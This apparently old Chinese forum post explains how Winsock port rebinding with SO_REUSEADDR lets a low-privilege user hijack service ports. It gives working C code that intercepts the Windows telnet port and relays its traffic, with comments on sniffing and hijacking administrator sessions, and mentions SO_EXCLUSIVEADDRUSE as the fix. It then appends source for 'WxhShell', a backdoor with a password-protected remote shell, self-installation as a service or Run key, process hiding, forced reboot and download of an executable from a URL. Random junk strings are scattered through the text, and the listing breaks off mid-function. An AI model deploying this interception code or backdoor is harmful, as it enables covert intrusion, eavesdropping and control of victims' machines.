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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q\@_L.tc[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); frUs'j/bZ  
x^@oY5}cr  
  saddr.sin_family = AF_INET; (rFiHv5  
@%fTdneH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nrY)i_\  
f I=G>[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I;Mm+5A  
 g*a+$'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6yy%_+k*  
~;9n6U  
  这意味着什么?意味着可以进行如下的攻击: pl%!AY'oE>  
|kK5:\H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T#Q7L~?zY  
6!>p<p"Ns  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cO7ii~&%!  
"x R6~8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )T"Aji-hy  
QL8C!&=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vYm-$KQ"o  
MlYm\x8{M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B!pz0K*uG  
V\m"Hl>VIU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xuu&`U~%  
C*ep8{B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [3bPoAr\  
Dx1(}D  
  #include xI{fd1  
  #include FWJ**J  
  #include \{`^Q+<  
  #include    hy~[7:/<I&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z@1kx3Wx$  
  int main() d)1gpRp  
  { W]/J]O6  
  WORD wVersionRequested; 4ams~  
  DWORD ret; P}~MO)*1  
  WSADATA wsaData; ]}lt^7\=  
  BOOL val; UBuh '?j  
  SOCKADDR_IN saddr; g ptf*^s  
  SOCKADDR_IN scaddr; 'UhHcMh:  
  int err; "\EX)u9ze  
  SOCKET s; h_?`ESI~  
  SOCKET sc; KGM__ZO.  
  int caddsize; )KE  
  HANDLE mt; pDlrK&;\z  
  DWORD tid;   ]O@iT= *3  
  wVersionRequested = MAKEWORD( 2, 2 ); AC1RP`c  
  err = WSAStartup( wVersionRequested, &wsaData ); 60^j<O  
  if ( err != 0 ) { OJpfiZ@Q_  
  printf("error!WSAStartup failed!\n"); WGn=3(4  
  return -1; g8uqW1E^  
  } f2x!cL|Kx?  
  saddr.sin_family = AF_INET; 9{OO'at?  
   vQLYWRXiA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Jn|GnM  
y#B=9Ri=z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I9 zs  
  saddr.sin_port = htons(23); Q~nVbj?c2v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iY/2 `R  
  { nSyLt6zn\  
  printf("error!socket failed!\n"); ]S4"JcM  
  return -1; pgES)  
  } N_NN0  
  val = TRUE; }R<t=):  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c`;oV-f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kVQm|frUz  
  { =!q]0#  
  printf("error!setsockopt failed!\n"); FDD=I\Ic  
  return -1; fX`u"`o5  
  } _y[C52,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nrKAK^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `[5xncZ-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `.J)Z=o  
9JP:wE~y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (.P}>$M9  
  { ]:Ep1DIMl  
  ret=GetLastError(); m8F$h-  
  printf("error!bind failed!\n"); :4V5p =v-  
  return -1; 39 }e }W"  
  } )!27=R/  
  listen(s,2); "<0!S~]  
  while(1) "L]v:lg3  
  { Bbs1U  
  caddsize = sizeof(scaddr); gGvL6Fu  
  //接受连接请求 $/"Ymm#"\Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5z0Sns  
  if(sc!=INVALID_SOCKET) 5%2~/ "  
  { )8oyo~4?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8J'5%$3u  
  if(mt==NULL) lVT*Ev{&.  
  { \(Rj2  
  printf("Thread Creat Failed!\n"); A x8>  
  break; I*TTD]e'X  
  } v];YC6shx  
  } ]~]TZb  
  CloseHandle(mt); ppIXS(  
  } %TFsk  
  closesocket(s); S*G^U1Sc+  
  WSACleanup(); JvXuN~fI{[  
  return 0; E'{:HX  
  }   1;~s NSTo  
  DWORD WINAPI ClientThread(LPVOID lpParam) S Yi!%  
  { $Mg O)bH  
  SOCKET ss = (SOCKET)lpParam; @Pc7$qD%  
  SOCKET sc; #L!`n )J"  
  unsigned char buf[4096]; +I uu8t  
  SOCKADDR_IN saddr; &V+_b$  
  long num; <UO[*_,\  
  DWORD val; !4cCq_  
  DWORD ret; -`5]%.E&8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !j7mY9x+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r(wf>w3  
  saddr.sin_family = AF_INET; *P\lzM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]/h$6mrL  
  saddr.sin_port = htons(23); tOVTHx3E]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =,it`8;  
  { N}/V2K]Q  
  printf("error!socket failed!\n"); pWE(?d_M{G  
  return -1; "a;$uW@.6  
  } ='.b/]!_  
  val = 100; el$@^Wy&$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c[,Rh f  
  { W"s/ 8;  
  ret = GetLastError(); b&E"r*i|  
  return -1; 6miXaAA8  
  } Y/UvNb<lK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [}Xw/@Uc;  
  { ? .B t.  
  ret = GetLastError(); s w >B  
  return -1; &b:y#gvJ:  
  } xH28\]F5n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a'HHUii=  
  { }Uj-R3]}K  
  printf("error!socket connect failed!\n"); Vq#0MY)2gS  
  closesocket(sc); }t(5n$go6  
  closesocket(ss); 30w(uF  
  return -1; ;L76V$&  
  } WllQM,h  
  while(1) 'Kmf6iK>[  
  { 1)}hzA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qldm"Ul  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?gAwMP(>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TG?>;It&  
  num = recv(ss,buf,4096,0); !}mM"|<  
  if(num>0) KX\=wFbP)  
  send(sc,buf,num,0); GRj [2I7:  
  else if(num==0) EN ^L.q9#  
  break; X pK eN2=p  
  num = recv(sc,buf,4096,0); `v(!IBP|  
  if(num>0) Ao\OU}  
  send(ss,buf,num,0); DcRoW  
  else if(num==0) xG4 C 6s  
  break; LkF*$  
  } mm!JNb9(  
  closesocket(ss); 6R3/"&P(/#  
  closesocket(sc); P"Q6wdm  
  return 0 ; $WW7,  
  } Y^#>3T  
Hjs#p{t[  
b,ZBol|X  
========================================================== 2S@Cj{R(  
#8vl2qWbi  
下边附上一个代码,,WXhSHELL 9QF,ynE  
g_Y$5ft`  
========================================================== +*qTZIXj  
$Vs5d= B  
#include "stdafx.h" Y)S f;  
.`D$.|!8g  
#include <stdio.h> -q-BP}r3  
#include <string.h> Y!u">M#@  
#include <windows.h> .zW.IM}Z  
#include <winsock2.h> n#P?JyGm1g  
#include <winsvc.h> KAT^vbR  
#include <urlmon.h> *$t=Lh  
bC&xN@4  
#pragma comment (lib, "Ws2_32.lib") v~!_DD au  
#pragma comment (lib, "urlmon.lib") WR* <|  
W\ARCcTQ  
#define MAX_USER   100 // 最大客户端连接数 ]INt9Pvqm  
#define BUF_SOCK   200 // sock buffer D0gz ((  
#define KEY_BUFF   255 // 输入 buffer DT]3q4__Q  
kkT=g^D9j  
#define REBOOT     0   // 重启 _(@ezX.p  
#define SHUTDOWN   1   // 关机 :?3y)*J!  
&xFs0R i(  
#define DEF_PORT   5000 // 监听端口 mL s>RR#b  
/-ewCCzZV  
#define REG_LEN     16   // 注册表键长度 gEq";B%?  
#define SVC_LEN     80   // NT服务名长度 te3\MSv;O  
a/q8vP  
// 从dll定义API =fK F#^E@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c=:A/z{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x@VZJrQQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hQJ-  ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M ~6k[ew  
2C &l\16  
// wxhshell配置信息 kkV* #IZ  
struct WSCFG { KSl@V>!_  
  int ws_port;         // 监听端口 ^;mGOjS  
  char ws_passstr[REG_LEN]; // 口令 0yKPYA*j  
  int ws_autoins;       // 安装标记, 1=yes 0=no NK(; -~{P  
  char ws_regname[REG_LEN]; // 注册表键名 {F$MZ2E  
  char ws_svcname[REG_LEN]; // 服务名 `SESj)W(y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n0@\x=9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8:Jc2K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'miY"L:| O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a)M#O\i`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .l]w4Hf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -*"Q-GO  
h<f]hJ`ep  
}; = M/($PA  
GH6ozWA  
// default Wxhshell configuration JdA3O{mT)  
struct WSCFG wscfg={DEF_PORT, ]g0\3A  
    "xuhuanlingzhe", h*X u/aOg  
    1, hQDZ%>  
    "Wxhshell", T! fF1cpF\  
    "Wxhshell", `Ot;KDz  
            "WxhShell Service", tcS7 @^'  
    "Wrsky Windows CmdShell Service", 7<3eB)S  
    "Please Input Your Password: ", XnI)s^  
  1, srfM"Lb'  
  "http://www.wrsky.com/wxhshell.exe", "G @(AE(  
  "Wxhshell.exe" 92K#xM/  
    }; .6nNqGua1  
xp"5L8:C  
// 消息定义模块 :%vD hMHa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h\qM5Qx+Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YF<;s^&@u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1K'.QRZMb9  
char *msg_ws_ext="\n\rExit."; 00)=3@D  
char *msg_ws_end="\n\rQuit."; 6H_7M(f  
char *msg_ws_boot="\n\rReboot..."; A#B6]j)  
char *msg_ws_poff="\n\rShutdown..."; h,C?%H+/0Q  
char *msg_ws_down="\n\rSave to "; B^u qu  
8 m T..23  
char *msg_ws_err="\n\rErr!"; w- .=u3  
char *msg_ws_ok="\n\rOK!"; Ohmi(s   
l^ aUN  
char ExeFile[MAX_PATH]; O*7Gl G  
int nUser = 0; ;^j 2>Azn  
HANDLE handles[MAX_USER]; m;"i4!  
int OsIsNt; zg=F;^oZ<  
}6V` U9 ^g  
SERVICE_STATUS       serviceStatus; 1"Z61gXrz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7Ed6o  
,3`RM $  
// 函数声明 ^"!j m  
int Install(void); i; 3^vhbQ  
int Uninstall(void); ~~_!&  
int DownloadFile(char *sURL, SOCKET wsh); K8UgP?c;0  
int Boot(int flag); .w`1;o  
void HideProc(void); P`K?k<  
int GetOsVer(void); 3K57xJzK  
int Wxhshell(SOCKET wsl); do:3aP'S,  
void TalkWithClient(void *cs); /J"U`/ {4  
int CmdShell(SOCKET sock); 7EKQE>xj  
int StartFromService(void); jHxg(]  
int StartWxhshell(LPSTR lpCmdLine); 5)MVkJ=R  
T*%Q s&x ;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \666{.a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t(|\3$z  
;{e;6Hq  
// 数据结构和表定义 }!-K)j.  
SERVICE_TABLE_ENTRY DispatchTable[] = <XV\8Y+n  
{ *k(>Qsb "  
{wscfg.ws_svcname, NTServiceMain}, xJ|3}o:,  
{NULL, NULL} VHJ-v!  
}; 'ju{j`b  
;MqH)M  
// 自我安装 Qifjv0&;u  
int Install(void) FBYA d@="2  
{ 8jE6zS }m  
  char svExeFile[MAX_PATH]; szY=N7\S*  
  HKEY key; :h>d'+\  
  strcpy(svExeFile,ExeFile);  lqO"  
fXPD^}?Ux4  
// 如果是win9x系统,修改注册表设为自启动 wsyG~^>  
if(!OsIsNt) { l;I)$=={=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r?s,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Go?A/'  
  RegCloseKey(key); 5Mfs)a4j.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &VIX?UngE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @?A39G{  
  RegCloseKey(key); XCNfogl  
  return 0; L-  -  
    } BTXS+mvl  
  } ^rI<}cfR  
} smpz/1U  
else { x<'(b7{U0  
Im;8Abf  
// 如果是NT以上系统,安装为系统服务 }U=|{@%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zDbjWd  
if (schSCManager!=0) &j\<UPn  
{ cSYW)c|t  
  SC_HANDLE schService = CreateService | fMjg'%{}  
  ( !%' 1 x2?  
  schSCManager, Th&* d;  
  wscfg.ws_svcname, o0Z(BTO  
  wscfg.ws_svcdisp, o#KGENd  
  SERVICE_ALL_ACCESS, _c=[P@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "T/ vE  
  SERVICE_AUTO_START, 4WV'\R+m  
  SERVICE_ERROR_NORMAL, D"WqJcDt  
  svExeFile, _~aFzM  
  NULL, mC P*v-  
  NULL, ;\@co5.=  
  NULL, K-&&%Id6R  
  NULL, %RE-_~GF  
  NULL X|'EyZ  
  ); ;2||g8'  
  if (schService!=0) ?dJ-g~  
  { h)[{{JSf  
  CloseServiceHandle(schService); Q:I2\E  
  CloseServiceHandle(schSCManager); Ys@M1o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8}/v[8p  
  strcat(svExeFile,wscfg.ws_svcname); u~#QvA~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R;9H`L/>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); , Vz 1l_7  
  RegCloseKey(key); I\JJ7/S`t  
  return 0; u<x2"0f  
    } }]1=?:tX%  
  } 8}m bfu o1  
  CloseServiceHandle(schSCManager); t:tT Zh  
} VvuwgJX  
} *={` %  
R u^v!l`!7  
return 1; o9)pOwk7;  
} E DuLgg@  
aRBTuLa)fo  
// 自我卸载 90)0\i+P  
int Uninstall(void) d52l)8  
{ W2L:  
  HKEY key; mzuf l:-=  
[6@{^  
if(!OsIsNt) { +I$c+WfU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bl5*sfjG  
  RegDeleteValue(key,wscfg.ws_regname); )clSW  
  RegCloseKey(key); zzsQfI#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }m Rus<Ax  
  RegDeleteValue(key,wscfg.ws_regname); l4+!H\2  
  RegCloseKey(key); 3L$_OXx  
  return 0; 8X=cGYC#  
  } lWS @<j  
} Z$R6'EUb1  
} BZy&;P  
else { ;SAurG$  
_@CY_`a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qms+s~oA  
if (schSCManager!=0) I`"8}d@Jm  
{ y9d[-j ;w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^R* _Q,o#  
  if (schService!=0) _{CMWo"l  
  { P( >*gp  
  if(DeleteService(schService)!=0) { -x~h.s,  
  CloseServiceHandle(schService); DA)+)PhY7K  
  CloseServiceHandle(schSCManager); .'o<.\R8  
  return 0; !@mV$nTA  
  } y+f@8]  
  CloseServiceHandle(schService); <. j`n  
  } !g}?x3  
  CloseServiceHandle(schSCManager); jf0D  
} d (Ufj|;  
} SH>L3@Za  
J2cqnwUV  
return 1; } DY{>D>  
} a1Q|su{H  
K#bdb  
// 从指定url下载文件 V@gweci  
int DownloadFile(char *sURL, SOCKET wsh) n< UuVu  
{ Uc,D&Og  
  HRESULT hr; aty"6~  
char seps[]= "/"; q{v:T}Q|A  
char *token; l`9<mL  
char *file; UM$\{$  
char myURL[MAX_PATH];  W7I.S5  
char myFILE[MAX_PATH]; Jy&O4g/'5  
4;anoqiG\  
strcpy(myURL,sURL); 61|uvTX  
  token=strtok(myURL,seps); oBZ\mk L  
  while(token!=NULL) Pw`26mB   
  { qfp,5@p  
    file=token; '<N^u@tF7  
  token=strtok(NULL,seps); ^):m^w.  
  } :s8^nEK  
Rh!B4oB4  
GetCurrentDirectory(MAX_PATH,myFILE); dQUZ11  
strcat(myFILE, "\\"); $4K( AEt[  
strcat(myFILE, file); {"X n`@Y  
  send(wsh,myFILE,strlen(myFILE),0); &R$6dG4  
send(wsh,"...",3,0); F?!P7 zW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GE;S5 X]X  
  if(hr==S_OK) ML6Y_|6 |  
return 0; )!+M\fT  
else z~[:@mGl  
return 1; yV=Ku  
y/}[S@4uB  
} EfxW^zm)  
Z05kn{<a8  
// 系统电源模块 =l6aSr  
int Boot(int flag) : utY4  
{ Dq=&K,5;  
  HANDLE hToken; !|!k9~v!  
  TOKEN_PRIVILEGES tkp; 5`su^  
ckR>ps[u  
  if(OsIsNt) { 4n55{ ?Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SU,S1C_q8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a] 0B{  
    tkp.PrivilegeCount = 1; +tsF.Is!t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a7?z{ssEi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Swugt"`nN  
if(flag==REBOOT) { UC3&:aQ!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c6v@6jzx0Y  
  return 0; #G</RYM~m  
} G]Rb{v,r  
else { {?EmO+![}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D%c^j9' 1  
  return 0; Wa.!eAe}  
} \Y!=O=za]  
  } 5MZv!N   
  else { pF8:?p['z  
if(flag==REBOOT) { ~ b66 ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gm=&[?}  
  return 0; #F2DEo^0  
} ! r/~D |  
else { 8m `Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UX.rzYM&T  
  return 0; ImH9 F\  
} [;F!\B-  
} D!Nc&|X^  
C=U4z|Ym  
return 1; @,6*yyO  
} 7^UY%t  
3webAaO  
// win9x进程隐藏模块 Gv }  
void HideProc(void) W$J.B!O  
{ nmE H/a  
>uQjygjj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); es.Y  
  if ( hKernel != NULL ) <mTo54g  
  { I3T;|;P7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6cbV[ !BL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /l3Oi@\  
    FreeLibrary(hKernel); P *PJ  
  } 0JR)-*  
-4F}I3I  
return; l 6aD3?8LN  
} M\7F1\ X  
Nt?=0X|M  
// 获取操作系统版本 Q`Pe4CrWvu  
int GetOsVer(void) ?6x&A t  
{ n-qle5sj  
  OSVERSIONINFO winfo; I|c?*~7*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~ Hj c?*  
  GetVersionEx(&winfo); ,+gtr.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nKtRJ,>  
  return 1; ;<E?NBV^  
  else HTMo.hr  
  return 0; ~G6xk/+n-m  
} X9^q-3&60  
fLSDt(c',  
// 客户端句柄模块  z{V#_(  
int Wxhshell(SOCKET wsl) l-h[I>TW  
{ EKsOj&ZiJ  
  SOCKET wsh; _ |HA\!  
  struct sockaddr_in client; -JFW ,8=8  
  DWORD myID; \X]I: 0^j  
p_apVm\t_  
  while(nUser<MAX_USER) ]<q!pE;t  
{ q%/.+g2-\  
  int nSize=sizeof(client); 19oyoi"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /!/Pk'p=/  
  if(wsh==INVALID_SOCKET) return 1; UalwK  
>^<;;8Xh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .6bo  
if(handles[nUser]==0) 07ppq?,y  
  closesocket(wsh); "tpD ->  
else "(';UFa  
  nUser++; &rG]]IO  
  } Z*NTF:6c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mfDt_Iq  
|&bucG=  
  return 0; mU||(;I  
} -ni@+Dy  
iT{[zLz>1  
// 关闭 socket ~Q]::  
void CloseIt(SOCKET wsh) G2|G}#E  
{ n1'i!NWt  
closesocket(wsh); X2Q35.AB  
nUser--; Z  6][9o  
ExitThread(0); 1$m{)Io2(  
} ?D_}',Wx  
a,fcR<  
// 客户端请求句柄 r.=.,R  
void TalkWithClient(void *cs) C}9|e?R[Rz  
{ xKepZ  
3z"%ht~;  
  SOCKET wsh=(SOCKET)cs; BcQw-<veu  
  char pwd[SVC_LEN]; jpMMnEVj6P  
  char cmd[KEY_BUFF]; #9qX:*>h   
char chr[1]; YnCuF0>  
int i,j; {?3i^Q=V  
eqWs(`  
  while (nUser < MAX_USER) { 3u;0,:X&  
FL0yRF5  
if(wscfg.ws_passstr) { Yb:F,d-Ya  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pb59RE:7V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a 5w E{K  
  //ZeroMemory(pwd,KEY_BUFF); $)=`Iai  
      i=0; )}i2x:\|_  
  while(i<SVC_LEN) { 0 r;tI"  
%GMCyT  
  // 设置超时 'loko#6  
  fd_set FdRead; :e}j$v F  
  struct timeval TimeOut; eX0 [C0#  
  FD_ZERO(&FdRead); ykGA.wo7/P  
  FD_SET(wsh,&FdRead); IhK%.B{dZ  
  TimeOut.tv_sec=8; #210 Yp#  
  TimeOut.tv_usec=0; H8Z|gq1r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4'N 4,3d$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fA), ^  
,V;HM F.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >aCY  
  pwd=chr[0]; 8N4E~*>C  
  if(chr[0]==0xd || chr[0]==0xa) { xi)M8\K  
  pwd=0; <anU#bEuQ  
  break; JPg^h  
  } 81)i>]  
  i++; w+XwPpM0.n  
    } r[2*K 9  
T?7++mcA  
  // 如果是非法用户,关闭 socket |HwEwL+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  D28>e  
} "R% RI( y{  
Yv"B-oy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J{n A ?[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q>L.  
._&SS,I5VZ  
while(1) { FrV8_[  
G P`sOPr  
  ZeroMemory(cmd,KEY_BUFF); Ghar hJ>v  
<s'0<e!./t  
      // 自动支持客户端 telnet标准   =pnQ?2Og  
  j=0; _93:_L  
  while(j<KEY_BUFF) { -Q%Pg<Q-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Y>oNX1KN  
  cmd[j]=chr[0]; H,LJ$ py  
  if(chr[0]==0xa || chr[0]==0xd) { #+|0o-  
  cmd[j]=0; \\`(x:\  
  break; y QGd<(  
  } cV4Y= &  
  j++; ^RYq !l$  
    } vr_Z0]4`C9  
8T"kQB.Zv  
  // 下载文件 vXG?8Q  
  if(strstr(cmd,"http://")) { S[N9/2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +R;s< pZ^  
  if(DownloadFile(cmd,wsh)) 3kVN[0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  eAG)+b  
  else :Vw{ l B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q*cEosi'F?  
  } #WAX&<m  
  else { 6r`Xi&  
er3`ITp:dp  
    switch(cmd[0]) { >qd=lm <,  
  z :u)@>6D1  
  // 帮助 YoWXHg!U  
  case '?': { @7{.err!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DD`DU^o<  
    break; {$ v^2K'C  
  } g2A#BMe'.$  
  // 安装 js% n]$N  
  case 'i': { XC O8A\  
    if(Install()) lR]FQnZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&!8UYP  
    else '~1Zr uO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =r3g:j/>q  
    break; "{zqXM}:C  
    } 0?O_]SD  
  // 卸载 DhD##5a  
  case 'r': { g1(5QWb  
    if(Uninstall()) kO$n0y5e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7[!bCl  
    else m c{W\H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,LDL%<7t  
    break; 1qBE|PwBp  
    } =YD<q:n4  
  // 显示 wxhshell 所在路径 $8SSu|O+x  
  case 'p': { '`f+QP=`  
    char svExeFile[MAX_PATH]; !YZKa-  
    strcpy(svExeFile,"\n\r"); cvhwd\  
      strcat(svExeFile,ExeFile); ?Mn~XN4F_  
        send(wsh,svExeFile,strlen(svExeFile),0); f.uy;v  
    break; -= izu]Fb,  
    } VE}r'MBk  
  // 重启 < RtyW  
  case 'b': { .?LRt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %5nEyZOq  
    if(Boot(REBOOT)) \&ki79Ly-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eKZS_Qd  
    else { bbDm6,  
    closesocket(wsh); L4bYVTm|  
    ExitThread(0); %b2Hm9r+  
    } :"H? phk  
    break; 4:pgZz!  
    } VJ_fA}U  
  // 关机 r adP%W-U  
  case 'd': { Ajo IL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?/-WH?1I  
